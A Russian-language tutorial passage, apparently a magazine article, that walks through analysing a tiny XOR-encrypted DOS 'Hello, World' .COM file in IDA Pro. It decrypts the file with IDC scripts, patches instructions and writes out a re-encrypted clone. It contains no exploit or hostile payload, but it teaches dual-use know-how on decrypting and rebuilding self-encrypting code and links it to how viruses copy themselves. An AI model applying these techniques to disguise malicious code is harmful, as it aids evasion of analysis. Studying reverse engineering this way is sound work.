ротив,  IDA  изна чаль но  про екти рова лась  как  дру жес твен ная  к  поль зовате лю
инте рак тивная  сре да.  В  отли чие  от  Sourcer‐подоб ных  дизас сем бле ров,  IDA
не  дела ет  никаких  мол чаливых  пред положе ний  и  при  воз никно вении  зат‐ 
рудне ний  обра щает ся  за  помощью  к  челове ку.  Резуль тат  ана лиза  «Идой»
фай ла   выг лядит так:Crypt00.com

 

 

seg000:0100        public start 
seg000:0100 start  proc near 
seg000:0100        mov     si, 10Dh 
seg000:0103 
seg000:0103 loc_10103:     ; CODE XREF: start+B↓j 
seg000:0103        xor     byte ptr [si], 77h 
seg000:0106        inc     si 
seg000:0107        cmp     si, 124h 
seg000:010B        jbe     short loc_10103 
seg000:010D        retn 
seg000:010D start  endp 
seg000:010D 
seg000:010D ; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
seg000:010E        db 7Eh, 0CDh, 62h, 76h, 0BAh, 56h, 0B4h, 3Fh, 12h, 2 
dup(1Bh) 
seg000:010E        db 18h, 5Bh, 57h, 20h, 18h, 5, 13h, 56h, 7Ah, 7Dh, 
53h 
seg000:010E seg000 ends 
seg000:010E 
seg000:010E 
seg000:010E        end start

И тут необ ходимо помочь дизас сем бле ру. Начина ющие поль зовате ли в этой
ситу ации обыч но ста вят кур сор на соот ветс тву ющую стро ку и нажима ют кла‐ 
вишу C,  зас тавляя  IDA дизас сем бли ровать  код  с  текущей позиции до  кон ца
фун кции. Нес мотря на кажущу юся оче вид ность, такое решение оши боч но.

Продолжение статьи →
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ФУНДАМЕНТАЛЬНЫЕ
ОСНОВЫ ХАКЕРСТВА

МАСТЕР‐КЛАСС ПО АНАЛИЗУ ИСПОЛНЯЕМЫХ
ФАЙЛОВ В IDA PRO

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Дан ные
Что  пред став ляет  собой  чис ло    в  стро ке    —  кон стан ту  или  сме‐ 
щение? Оче вид но,  в регистр SI  заносит ся сме щение, потому  что впос ледс‐ 
твии опе ранд по это му сме щению в памяти интер пре тиру ется как байт и над
ним выпол няет ся опе рация XOR.

10Dh 0x100

Что бы  пре обра зовать  кон стан ту  в  сме щение,  уста нови  тек сто вый  кур сор
на   и наж ми O. Дизас сем бли руемый текст ста нет выг лядеть так:10Dh

 

 

seg000:0100        mov    si, offset locret_1010D 
... 
seg000:010D locret_1010D: ; DATA XREF: start+B↑o 
seg000:010D        retn 
seg000:010D start  endp 
seg000:010D 
seg000:010D ; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
seg000:010E        db 7Eh, 0CDh, 62h, 76h, 0BAh, 56h, 0B4h, 3Fh, 12h, 2 
dup(1Bh) 
seg000:010E        db 18h, 5Bh, 57h, 20h, 18h, 5, 13h, 56h, 7Ah, 7Dh, 
53h 
seg000:010E seg000 ends

IDA Pro авто мати чес ки соз дала новое имя  , которое ссы лает ся
на  зашиф рован ный  блок  кода.  Поп робу ем  пре обра зовать  его  в  дан ные.
Для это го надо пос тавить  кур сор на стро ку 010D и дваж ды нажать D,  что бы
утверди тель но отве тить на воп рос во всплы вающем диало ге. Лис тинг при мет
сле дующий вид:

locret_1010D

 

 

... 
seg000:010D word_1010D      dw 7EC3h ; DATA XREF: start↑o 
seg000:010F                 db 0CDh ; = 
seg000:0110                 db  62h ; b 
seg000:0111                 db  76h ; v 
seg000:0112                 db 0BAh ; ¦ 
seg000:0113                 db  56h ; V 
seg000:0114                 db 0B4h ; + 
seg000:0115                 db  3Fh ; ? 
seg000:0116                 db  12h 
seg000:0117                 db  1Bh 
seg000:0118                 db  1Bh 
seg000:0119                 db  18h 
seg000:011A                 db  5Bh ; [ 
seg000:011B                 db  57h ; W 
seg000:011C                 db  20h 
seg000:011D                 db  18h 
seg000:011E                 db    5 
seg000:011F                 db  13h 
seg000:0120                 db  56h ; V 
seg000:0121                 db  7Ah ; z 
seg000:0122                 db  7Dh ; } 
seg000:0123                 db  53h ; S 
seg000:0123 seg000          ends

Но на что имен но ука зыва ет  ? Понять это поз волит изу чение сле‐ 
дующе го кода:

word_1010D

 

 

seg000:0100 start       proc near 
seg000:0100             mov     si, offset word_1010D 
seg000:0103 
seg000:0103 loc_10103:          ; CODE XREF: start+B↓j 
seg000:0103             xor     byte ptr [si], 77h 
seg000:0106             inc     si 
seg000:0107             cmp     si, 124h 
seg000:010B             jbe     short loc_10103 
seg000:010B start       endp

Пос ле  того  как  в  регистр  SI  попада ет  сме щение,  начина ется  цикл,  который
пред став ляет собой прос тей ший рас шифров щик: зна чение в регис тре SI ука‐ 
зыва ет  на  сим вол,  коман да  XOR  с  помощью  чис ла    рас шифро выва ет
один  байт  (один  ASCII‐сим вол).  Напом ню,  в  ассем бле ре  запись  шес тнад‐ 
цатерич ных чисел вида 77h. Пос ле это го инкре мен тиру ется зна чение регис‐ 
тра  SI  (ука затель  перево дит ся  на  сле дующий  сим вол)  и  получив шееся  зна‐ 
чение срав нива ется с чис лом  , которое рав но обще му количес тву сим‐ 
волов для рас шифров ки.

0x77

0x124

Здесь  сле дует  оста новить ся  и,  прок рутив дизас сем бли рован ный  лис тинг
вниз,  обра тить  вни мание  на  то,  какое  сме щение  мак сималь ное.  Видим:
это  .  Область  зашиф рован ных  дан ных  может  про дол жать ся  до  кон ца
прог раммы,  тем  не  менее  это  зна чение  мень ше,  чем  количес тво  бай тов
для рас шифров ки.

0x123

Да вай рас ширим сег мент подопыт ной прог раммы. Жмем Shift‐F7 (View →
Open subviews → Segments), откро ется вклад ка Program Segmentation. В кон‐ 
текс тном  меню  единс твен ного  сущес тву юще го  сег мента    выбира ем
пункт Edit Segments  (Ctrl‐E). В диало ге в поле вво да End address вве ди зна‐ 
чение  поболь ше,  нап ример  .  Под твер ди  свое  намере ние  в  появив‐ 
шемся диало ге.

seg000

0x10125

Из менение атри бутов сег мента

Мо жешь  полюбо вать ся  на  уве личив ший ся  сег мент.  Вер немся  к  изу чению
кода.  Если  в  резуль тате  срав нения  зна чение  в  регис тре  SI  мень ше  обще го
количес тва бай тов или рав но ему, выпол няет ся переход на мет ку 
и блок кода пов торя ется для рас шифров ки сле дующе го бай та. Отсю да мож но
зак лючить, что   ука зыва ет на начало пос ледова тель нос ти бай тов
для рас шифров ки. Под ведя к ней кур сор, жмем N и можем дать ей осмыслен‐ 
ное имя,  нап ример  .  А  кон стан ту   можем сна чала  пре обра‐ 
зовать в сме щение (Ctrl‐O), а затем пере име новать, нап ример в  .

loc_10103

word_1010D

BeginCrypt 124h
EndCrypt

Рас шифров ка
Не пос редс твен ное  дизас сем бли рова ние  зашиф рован ного  кода  невоз‐ 
можно  —  пред варитель но  его  необ ходимо  рас шифро вать.  Боль шинс тво
дизас сем бле ров  не  могут  модифи циро вать  ана лизи руемый  текст  на  лету,
и  до  заг рузки  в  дизас сем блер  иссле дуемый  файл  дол жен  быть  пол ностью
рас шифро ван.

На  прак тике,  одна ко,  это  выг лядит  нес коль ко  ина че.  Преж де  чем  рас‐ 
шифро вывать,  необ ходимо  выяс нить  алго ритм  рас шифров ки,  про ана лизи‐ 
ровав  дос тупную  часть  фай ла.  Затем  нуж но  вый ти  из  дизас сем бле ра,  тем
или  иным  спо собом  рас шифро вать  «сек ретный» фраг мент,  вновь  заг рузить
файл в дизас сем блер (при чем пре дыду щие резуль таты работы дизас сем бле‐ 
ра ока жут ся уте рян ными) и про дол жить его ана лиз до тех пор, пока не встре‐ 
тит ся еще один зашиф рован ный фраг мент. Теперь цикл «выход из дизас сем‐ 
бле ра — рас шифров ка — заг рузка — ана лиз» пов торя ется вновь.

Дос тоинс тво  IDA  зак люча ется  в  том,  что  она  поз воля ет  выпол нить  ту  же
задачу зна читель но мень шими уси лиями, никуда не выходя из дизас сем бле‐ 
ра.  Это  дос тига ется  за  счет  того,  что  в  IDA  есть  механизм  вир туаль ной
памяти. Если не вда вать ся в  тех ничес кие тон кости, мож но упро щен но изоб‐ 
разить  IDA  в  виде  проз рачной  вир туаль ной  машины,  которая  опе риру ет
с  физичес кой  памятью  компь юте ра.  Для  модифи кации  яче ек  памяти  необ‐ 
ходимо знать их адрес.

Сле ва  каж дой  стро ки  ука зыва ется  имя  сег мента  и  его  сме щение,  нап‐ 
ример  . Одна ко нам нуж но дру гое зна чение. Уста новив  тек сто‐ 
вый  кур сор  на  нуж ную  стро ку,  смот ри  на  ниж нюю  часть  текущей  вклад ки
(полагаю, у тебя это IDA View‐A).

seg000:0103

Фак тичес кий номер стро ки

При  переме щении  кур сора  соот ветс тву ющее  сме щение  тоже  меня ется  (на
рисун ке  выше  оно  обве дено  рамоч кой).  С  его  помощью мож но  обра тить ся
к  любой  ячей ке  сег мента. Для  чте ния и модифи кации  яче ек  пре дус мотре ны
фун кции   и   соот ветс твен но. Их вызов может выг лядеть, нап‐ 
ример,  так:    чита ет ячей ку, рас положен ную по сме щению

;    прис ваивает  зна чение    ячей ке
памяти,  рас положен ной  по  сме щению  .  Как  сле дует  из  наз вания
фун кций, они манипу лиру ют ячей ками раз мером в один байт.

Byte PatchByte
a=Byte(0x01010D)

0x01010D PatchByte(0x01010D,0x27) 0x27
0x01010D

Зна ния  язы ка  C  и  этих  двух  фун кций  впол не  дос таточ но  для  написа ния
скрип та‐рас шифров щика.

Ре али зация  IDA‐С  не  пол ностью  при дер жива ется  стан дарта,  в  час тнос ти
IDA  не  поз воля ет  раз работ чику  задавать  тип  перемен ной  и  опре деля ет  его
авто мати чес ки по ее пер вому исполь зованию, а объ явле ние осу щест вля ется
клю чевым сло вом  . Нап ример,   объ явля ет две перемен‐ 
ные —   и  .

auto auto MyVar, s0
MyVar s0

Для соз дания скрип та необ ходимо нажать Shift‐F2 или выб рать в меню File
пункт Script Command. В резуль тате откро ется окно Execute  script. Боль шую
его часть занима ют спи сок скрип тов и поле вво да для редак тирова ния выб‐ 
ранно го скрип та.

До пол нитель но  вни зу  окна  находят ся  нис пада ющий  спи сок  для  выбора
исполь зуемо го  язы ка  (IDC  или  Python),  нис пада ющий  спи сок  для  ука зания
раз мера табуля ции и четыре кноп ки: Run (выпол нить скрипт), Export (экспор‐ 
тировать скрипт в файл), Import (заг рузить скрипт из фай ла) и Save (сох ранить
скрипт в базу дан ных про екта).

Пос ле  пер вого  откры тия  окна  в  спис ке  скрип тов  по  умол чанию  выб ран
скрипт Default snippet. В качес тве его тела вве дем такой код:

auto a, x;
for (a = 0x01010D; a <= 0x010123; a++) {
 x = Byte(a);
 x = (x ^ 0x77);
 PatchByte(a, x);
 Message(x);

}

Встро енный редак тор скрип тов

Как было показа но  выше,  алго ритм рас шифров щика  сво дит ся  к  пос ледова‐ 
тель ному  пре обра зова нию  каж дой  ячей ки  зашиф рован ного фраг мента опе‐ 
раци ей  :XOR 0x77

 

 
seg000:0103         xor     byte ptr [si], 77h

Сам же зашиф рован ный фраг мент начина ется с адре са   и про дол‐ 
жает ся вплоть до  .

0x01010D
0x010123

В  кон це  коман дой    отправ ляем  модифи циро ван ный  сим вол
в область вывода IDA.

Message

Что бы  запус тить  скрипт  на  выпол нение,  дос таточ но  нажать  кноп ку  Run.
Если при вво де скрип та не было опе чаток, лис тинг при мет сле дующий вид:

 

 

... 
seg000:010D BeginCrypt dw 9B4h ; DATA XREF: start↑o 
seg000:010F            db 0BAh ; ¦ 
seg000:0110            db  15h 
seg000:0111            db    1 
seg000:0112            db 0CDh ; = 
seg000:0113            db  21h ; ! 
seg000:0114            db 0C3h ; + 
seg000:0115            db  48h ; H 
seg000:0116            db  65h ; e 
seg000:0117            db  6Ch ; l 
seg000:0118            db  6Ch ; l 
seg000:0119            db  6Fh ; o 
seg000:011A            db  2Ch ; , 
seg000:011B            db  20h 
seg000:011C            db  57h ; W 
seg000:011D            db  6Fh ; o 
seg000:011E            db  72h ; r 
seg000:011F            db  64h ; d 
seg000:0120            db  21h ; ! 
seg000:0121            db  0Dh 
seg000:0122            db  0Ah 
seg000:0123            db  24h ; $ 
seg000:0124 EndCrypt   db ?    ; DATA XREF: start+7↑o 
seg000:0124 seg000     ends 
seg000:0124 
seg000:0124 
seg000:0124            end start

А в окне вывода появит ся над пись

 

 

 ґ єН!ГHello, Word!
$

Воз можные ошиб ки: несоб людение регис тра сим волов (IDA к это му чувс тви‐ 
тель на), син такси чес кие ошиб ки, невер но задан ные адре са гра ниц модифи‐ 
циру емо го  бло ка.  В  слу чае  ошиб ки  необ ходимо  под вести  кур сор  к  стро ке

,  нажать  кла вишу  U  (для  уда ления  резуль татов  пре дыду щего
дизас сем бли рова ния зашиф рован ного фраг мента) и затем C (для пов торно‐ 
го дизас сем бли рова ния рас шифро ван ного кода).

seg000:010D

Сим волы  перед  фра зой  «Hello,  World!»  не  выг лядят  чита емы ми;  ско рее
все го, это не ASCII, а исполня емый код. Пос тавим кур сор на стро ку 

,  жмем C  («Пре обра зовать  в  инс трук цию»).  В  резуль тате  лис тинг  будет
выг лядеть так:

seg000:
010D

 

 

... 
seg000:010D BeginCrypt:     ; DATA XREF: start↑o 
seg000:010D             mov     ah, 9 
seg000:010F             mov     dx, 115h 
seg000:0112             int     21h      ; DOS ‐ PRINT STRING 
seg000:0112                 ; DS:DX → string terminated by "$" 
seg000:0114             retn 
seg000:0114 ; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
seg000:0115             db  48h ; H 
seg000:0116             db  65h ; e 
seg000:0117             db  6Ch ; l 
seg000:0118             db  6Ch ; l 
seg000:0119             db  6Fh ; o 
seg000:011A             db  2Ch ; , 
seg000:011B             db  20h 
seg000:011C             db  57h ; W 
seg000:011D             db  6Fh ; o 
seg000:011E             db  72h ; r 
seg000:011F             db  64h ; d 
seg000:0120             db  21h ; ! 
seg000:0121             db  0Dh 
seg000:0122             db  0Ah 
seg000:0123             db  24h ; $ 
seg000:0124 EndCrypt    db ?              ; DATA XREF: start+7↑o 
seg000:0124 seg000      ends 
seg000:0124 
seg000:0124 
seg000:0124             end start

Це поч ку  сим волов,  рас положен ную  начиная  с  адре са  ,  мож но
пре обра зовать в удо бочи таемый вид, если навес ти на нее кур сор и нажать A.
Еще мож но пре обра зовать кон стан ту   в стро ке 010F в сме щение. Теперь
экран дизас сем бле ра будет выг лядеть так:

seg000:0115

115h

 

 

... 
seg000:010D BeginCrypt:             ; DATA XREF: start↑o 
seg000:010D             mov     ah, 9 
seg000:010F             mov     dx, offset aHelloWord ; "Hello, 
Word!\r\n$" 
seg000:0112             int     21h ; DOS ‐ PRINT STRING 
seg000:0112                         ; DS:DX → string terminated by "$" 
seg000:0114             retn 
seg000:0114 ; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
seg000:0115 aHelloWord  db 'Hello, Word!',0Dh,0Ah,'$' ; DATA XREF: 
seg000:010F↑o 
seg000:0124 EndCrypt    db ?        ; DATA XREF: start+7↑o 
seg000:0124 seg000      ends 
seg000:0124 
seg000:0124 
seg000:0124             end start

Ко ман да    в  стро ке    под готав лива ет  регистр  AH
перед  вызовом  пре рыва ния  .  Она  выбира ет  фун кцию  вывода  стро ки
на экран, а ее сме щение сле дующей коман дой заносит ся в регистр DX. Ины‐ 
ми  сло вами,  для  успешно го  ассем бли рова ния  лис тинга  необ ходимо
заменить кон стан ту   соот ветс тву ющим сме щени ем.

MOV  AH,  9 seg000:010D
0x21

0x115
Но ведь  выводи мая стро ка  на  эта пе ассем бли рова ния  (до переме щения

кода)  рас положе на  сов сем  в  дру гом  мес те!  Одно  из  воз можных  решений
этой  проб лемы —  соз дать  новый  сег мент  и  затем  ско пиро вать  в  него  рас‐ 
шифро ван ный  код.  Это  будет  ана логом  переме щения  кода  работа ющей
прог раммы.

Продолжение статьи →



ФУНДАМЕНТАЛЬНЫЕ
ОСНОВЫ ХАКЕРСТВА

МАСТЕР‐КЛАСС ПО АНАЛИЗУ ИСПОЛНЯЕМЫХ
ФАЙЛОВ В IDA PRO

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Соз дание сег мента
Для  соз дания  нового  сег мента  надо  открыть  вклад ку  Segments  (Shift‐F7)
и нажать Insert. Появит ся вот такое окно.

Соз дание нового сег мента

Ба зовый  адрес  сег мента может  быть  любым,  если  при  этом  не  перек рыва‐ 
ются сег менты   и  ; началь ный адрес сег мента зада ется так, что‐ 
бы сме щение пер вого бай та было рав но  ; раз мер нового сег мента сде‐ 
лаем  таким же,  как  . Не  забудь  выб рать  тип  соз дава емо го  сег мента:
16‐бит ный сег мент.

seg000 MySeg
0x100

seg000

Да лее будем дви гать ся поэтап но. Сна чала ско пиру ем коман ды для вывода
сим волов в кон соль. Нач нем брать бай ты со сме щения   сег мента  ,
а встав лять — с самого начала сег мента  . Это мож но сде лать скрип том
сле дующе го содер жания:

10D seg000
MySeg

auto a, x;
for (a = 0x0; a < 0x8; a++) {
 x = Byte(0x1010D+a);
 PatchByte(0x20100+a,x);

}

Для его  вво да  необ ходимо  вновь  нажать  ком бинацию  кла виш Shift‐F2. Соз‐ 
дать еще один скрипт мож но нажати ем Insert. Пос ле выпол нения экран дизас‐ 
сем бле ра будет выг лядеть так (показа но толь ко начало сег мента  ):MySeg

 

 

MySeg:0100 ; Segment type: Regular 
MySeg:0100 MySeg           segment byte public '' use16 
MySeg:0100                 assume cs:MySeg 
MySeg:0100                 ;org 100h 
MySeg:0100                 assume es:nothing, ss:nothing, ds:nothing, 
fs:nothing, gs:nothing 
MySeg:0100                 db 0B4h ; + 
MySeg:0101                 db    9 
MySeg:0102                 db 0BAh ; ¦ 
MySeg:0103                 db  15h 
MySeg:0104                 db    1 
MySeg:0105                 db 0CDh ; = 
MySeg:0106                 db  21h ; ! 
MySeg:0107                 db 0C3h ; + 
MySeg:0108                 db    ? ;

На до  пре обра зовать  дан ные  в  инс трук ции:  пос тавить  кур сор  на  стро ку 
 и нажать C. Лис тинг при мет ожи даемый вид:

My‐
Seg:0100

 

 

MySeg:0100                 mov     ah, 9 
MySeg:0102                 mov     dx, 115h 
MySeg:0105                 int     21h             ; DOS ‐ PRINT STRING 
MySeg:0105                                         ; DS:DX → string ter‐
minated by "$" 
MySeg:0107                 retn

Что бы прог рамма‐клон вела себя нем ного не так, как ее родитель, добавим
ожи дание вво да сим вола. Для это го надо пос тавить кур сор на коман ду 
и выб рать Edit → Patch program → Assemble...

retn

Вве ди  ,  наж ми Enter. Затем  ,  сно ва Enter. Пос ледняя
инс трук ция — RET, Enter и Esc для зак рытия диало га.

XOR AX, AX INT 16h

За мена инс трук ции

Те перь  с  помощью  сле дующе го  скрип та  ско пиру ем  бай ты,  сос тавля ющие
текст «Hello, World!»:

auto a, x, i;
i = 0;
for (a = 0x0115; a < 0x124; a++) {
 x = Byte(0x10000+a);
 PatchByte(0x2010C+i,x);
 i++;

}

Пос тавив кур сор на стро ку  , нажима ем A и пре обра зуем цепоч ку
сим волов  в  удо бочи таемый  вид.  В  стро ке    надо  изме нить  кон‐ 
стан ту    на  фак тичес кое  зна чение,  по  которо му  рас положе на  фра за
для вывода:  . Для это го ставь кур сор на ука зан ную стро ку и откры‐ 
вай диалог Assemble Instruction (Edit → Patch program → Assemble...) и вво ди

.

MySeg:010C
MySeg:0102

115h
MySeg:010C

MOV DX, 10Ch
Те перь надо пре обра зовать кон стан ту   в сме щение, а пос ледова тель‐ 

ность сим волов, рас положен ную по нему, обра тить к свет ско му виду. Как это
делать,  ты  уже  зна ешь. Напос ледок рекомен дую про извести  кос метичес кую
чис тку — умень шить раз мер сег мента до необ ходимо го. Что бы уда лить адре‐ 
са, оставши еся при умень шении раз меров сег мента за его кон цом, пос тавь
фла жок Disable Address в окне свой ств сег мента.

10Ch

Ка залось  бы, мож но  уже  начать  ассем бли рова ние,  одна ко  не  сто ит  спе‐ 
шить! У нас в прог рамме есть три сме щения, которые явля ются ука зате лями.
В дизас сем бли рован ном лис тинге они выг лядят прек расно:
1.   в сег менте  ;mov si, offset BeginCrypt seg000

2.   в сег менте  ;cmp si, offset EndCrypt seg000

3.   в сег менте  .mov dx, offset aHelloWord_0 MySeg

Меж ду тем пос ле ассем бли рова ния сим воль ные име на будут замене ны чис‐ 
ловыми кон стан тами. Будут ли в таком слу чае в резуль тиру ющей прог рамме
эти сме щения ука зывать на те же вещи, что в исходной? Давай еще раз про‐ 
ана лизи руем  наш  лис тинг.  Пер вое  сме щение,  ,  ука зыва ет
на  стро ку  .  По  сути,  весь  пре дыду щий  код  будет  ско пиро ван,
поэто му ее зна чение менять не нуж но. Вто рое сме щение,  , ука зыва‐ 
ющее  на  конец  сег мента,  дол жно  уве личить ся  на  четыре  бай та,  так  как  мы
добави ли две инс трук ции:

BeginCrypt
seg000:010D

EndCrypt

 

 

seg000:0114             xor     ax, ax 
seg000:0116             int     16h

Что бы под счи тать их раз мер, дос таточ но из сле дующе го за ними сме щения
вычесть их началь ное: 118h – 114h = 4h бай та. В резуль тате   дол жно
ука зывать  на  124h  +  4h  =  128h.  Уста нови  кур сор  на  стро ку  ,
вызови окно ассем бле ра и замени инс трук цию в ней на  .

EndCrypt
seg000:0107

cmp si, 128h
Третье  сме щение,  ,  в  исходной  прог рамме  рав но  .

Подума ем,  как  дол жен  изме нить ся  адрес.  Если    находит ся
в сег менте  , то нам прос то нуж но при бавить к име юще муся сме щению
раз мер  рас шифров щика  в  сег менте  .  Его  мож но  пос читать  как  раз‐ 
ность  началь ного  сме щения  зашиф рован ного  бло ка  и  началь ного  адре са:
0x010D – 0x0100 = 0xD байт.

aHelloWord_0 10Ch
aHelloWord_0

MySeg
seg000

В  ито ге  сме щение    дол жно  ука зывать  на  0x10C  +  0xD  =
0x119.  Изме ним  код:  уста новив  кур сор  на  стро ку  ,  с  помощью
встро енно го ассем бле ра модифи циру ем ее содер жимое на  .

aHelloWord_0
MySeg:0102

mov dx, 119h
В резуль тате пол ный лис тинг выг лядит сле дующим обра зом:

 

 

seg000:0100 ; Segment type: Pure code 
seg000:0100 seg000          segment byte public 'CODE' use16 
seg000:0100                 assume cs:seg000 
seg000:0100                 org 100h 
seg000:0100                 assume es:nothing, ss:nothing, ds:seg000, 
fs:nothing, gs:nothing 
seg000:0100 
seg000:0100 ; =========== S U B R O U T I N E ================ 
seg000:0100 
seg000:0100 
seg000:0100                 public start 
seg000:0100 start           proc near 
seg000:0100                 mov     si, offset BeginCrypt 
seg000:0103 
seg000:0103 loc_10103:                              ; CODE XREF: 
start+Bj 
seg000:0103                 xor     byte ptr [si], 77h 
seg000:0106                 inc     si 
seg000:0107                 cmp     si, 128h 
seg000:010B                 jbe     short loc_10103 
seg000:010B start           endp 
seg000:010B 
seg000:010D 
seg000:010D BeginCrypt:                             ; DATA XREF: starto 
seg000:010D                 mov     ah, 9 
seg000:010F                 mov     dx, offset aHelloWord ; "Hello, 
Word!\r\n$" 
seg000:0112                 int     21h             ; DOS ‐ PRINT STRING 
seg000:0112                                         ; DS:DX → string 
terminated by "$" 
seg000:0114                 retn 
seg000:0114 ; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
seg000:0115 aHelloWord      db 'Hello, Word!',0Dh,0Ah,'$' ; DATA XREF: 
seg000:010Fo 
seg000:0124 EndCrypt        db ? 
seg000:0124 seg000          ends 
seg000:0124 
MySeg:0100 ; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
MySeg:0100  
; =========================================================== 
MySeg:0100 
MySeg:0100 ; Segment type: Regular 
MySeg:0100 MySeg           segment byte public '' use16 
MySeg:0100                 assume cs:MySeg 
MySeg:0100                 ;org 100h 
MySeg:0100                 assume es:nothing, ss:nothing, ds:nothing, 
fs:nothing, gs:nothing 
MySeg:0100                 mov     ah, 9 
MySeg:0102                 mov     dx, 119h 
MySeg:0105                 int     21h             ; DOS ‐ PRINT STRING 
MySeg:0105                                         ; DS:DX → string ter‐
minated by "$" 
MySeg:0107                 xor     ax, ax 
MySeg:0109                 int     16h             ; KEYBOARD ‐ READ 
CHAR FROM BUFFER, WAIT IF EMPTY 
MySeg:0109                                         ; Return: AH = scan 
code, AL = character 
MySeg:010B                 retn 
MySeg:010B ; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
MySeg:010C aHelloWord_0    db 'Hello, Word!',0Dh,0Ah,'$' 
MySeg:011B                 db    ? ; 
MySeg:011B MySeg           ends 
MySeg:011B 
MySeg:011B 
MySeg:011B                 end start

Соз дание кло на
По лучен ный  лис тинг  удо бен  для  ана лиза,  но  все  еще  не  готов  к  ассем бли‐ 
рова нию  хотя  бы  потому,  что  никакой  ассем блер  не  в  сос тоянии  зашиф‐ 
ровать  тре буемый  код.  Конеч но,  эту  опе рацию  мож но  выпол нить  вруч ную
пос ле ком пиляции, но то же мож но про делать, не выходя из IDA и не при бегая
к помощи сто рон него инс тру мен тария.

Для решения этой  задачи напишем скрипт,  авто мати чес ки  выпол няющий
копиро вание и шиф рование необ ходимых час тей прог раммы:

auto a, f, x;
// Открывается файл crypt01.com для записи в двоичном режиме
f = fopen("crypt01.com", "wb");
// Копируется расшифровщик
for (a = 0x10100; a < 0x1010D; a++) {
 x = Byte(a);
 fputc(x, f);

}
// Копируется и на лету шифруется весь сегмент MySeg
for (a = SegStart(0x20100); a != SegEnd(0x20100); a++) {
 x = Byte(a);
 x = (x ^ 0x77);
 fputc(x, f);

}
// Файл закрывается
fclose(f);

По доб ный механизм копиро вания сво его тела во внеш ний файл исполь зует‐ 
ся подав ляющим боль шинс твом вирусов.

Ито ги
Вы пол нение  скрип та  при ведет  к  соз данию  фай ла  ,  запус тив
который  мож но  убе дить ся  в  его  работос пособ ности  —  он  выводит  стро ку
на экран и, дож давшись нажатия любой кла виши, завер шает работу.

crypt01.com

Кло ниро ван ное при ложе ние

Ог ромным  пре иму щес твом  такого  под хода  явля ется  сквоз ная  ком пиляция
фай ла, то есть дизас сем бли рован ный лис тинг в дей стви тель нос ти не ассем‐ 
бли ровал ся!  Вмес то  это го  из  вир туаль ной  памяти  байт  за  бай том  читалось
ори гиналь ное  содер жимое,  которое  за  исклю чени ем  модифи циро ван ных
строк  иден тично  исходно му  фай лу.  Нап ротив,  пов торное  ассем бли рова ние
прак тичес ки  никог да  не  поз воля ет  добить ся  пол ного  сходс тва  с  дизас сем‐ 
бли руемым фай лом.

ДИЗАССЕМБЛЕР И ОТЛАДЧИК В СВЯЗКЕ
Ди зас сем блер,  вклю чен ный  в  отладчик,  обыч но  слиш ком  при мити вен  и  не
может пох вастать ся богаты ми воз можнос тями. Во вся ком слу чае, дизас сем‐ 
блер,  встро енный  в  WinDbg,  недале ко  ушел  от  DUMPBIN,  с  недос татка ми
которо го мы уже стал кивались. Нас коль ко же понят нее ста новит ся код, если
его заг рузить в IDA!

Чем же тог да ценен отладчик? Дело в том, что дизас сем блер из‐за сво ей
ста тич ности име ет ряд огра ниче ний. Во‐пер вых, иссле дова телю при ходит ся
выпол нять  прог рамму  на  «эму лято ре»  про цес сора,  «зашитом»  в  его  собс‐ 
твен ной голове, сле дова тель но, необ ходимо знать и наз начение всех команд
про цес сора,  и  всех  струк тур  опе раци онной  сис темы  (вклю чая  недоку мен‐ 
тирован ные).

Во‐вто рых,  начать  ана лиз  с  про изволь ного  мес та  прог раммы  не  так‐то
прос то — тре бует ся знать содер жимое регис тров и яче ек памяти на текущий
момент,  а  как их  узнать? С регис тра ми и  локаль ными перемен ными еще не
так пло хо — дос таточ но пок рутить экран дизас сем бле ра вверх и пос мотреть,
какие зна чения им прис ваивают ся. Но этот фокус не прой дет с гло баль ными
перемен ными,  модифи циро вать  которые  может  кто  угод но  и  ког да  угод но.
Вот бы уста новить точ ку оста нова... но какая же в дизас сем бле ре может быть
точ ка оста нова?

В‐треть их,  дизас сем бли рова ние  вынуж дает  реконс тру иро вать  алго ритм
каж дой  фун кции,  в  то  вре мя  как  отладка  поз воля ет  рас смат ривать  ее
как «чер ный ящик» со вхо дом и выходом. Допус тим, име ется у нас фун кция,
которая  рас шифро выва ет  основной  модуль  прог раммы.  В  дизас сем бле ре
нам при дет ся сна чала разоб рать ся в алго рит ме шиф рования (что может ока‐ 
зать ся  сов сем  не  прос то),  затем  перело жить  эту  фун кцию  на  язык  IDA‐С,
отла дить  ее,  запус тить  рас шифров щик...  В  отладчи ке  же  мож но  поручить
выпол нение  этой фун кции  про цес сору,  не  вни кая  в  то,  как  она  работа ет,  и,
дож давшись  ее  завер шения,  про дол жить  ана лиз  уже  рас шифро ван ного
модуля прог раммы.

Мож но перечис лять бес конеч но, но и без того ясно, что отладчик отнюдь
не  кон курент  дизас сем бле ру,  а,  нап ротив,  пар тнер. Опыт ные  хакеры  всег да
исполь зуют эти инс тру мен ты в паре. Алго ритм реконс тру ирует ся в дизас сем‐ 
бле ре,  а  все  непонят ные  момен ты  опе ратив но  уточ няют ся  про гоном  прог‐ 
раммы под отладчи ком.

При этом воз ника ет естес твен ное желание видеть в отладчи ке все те сим‐ 
воль ные име на, которые были вне сены в дизас сем блер ный лис тинг. И IDA Pro
пре дос тавля ет два спо соба это сде лать! Рас смот рим оба.

Спо соб 1
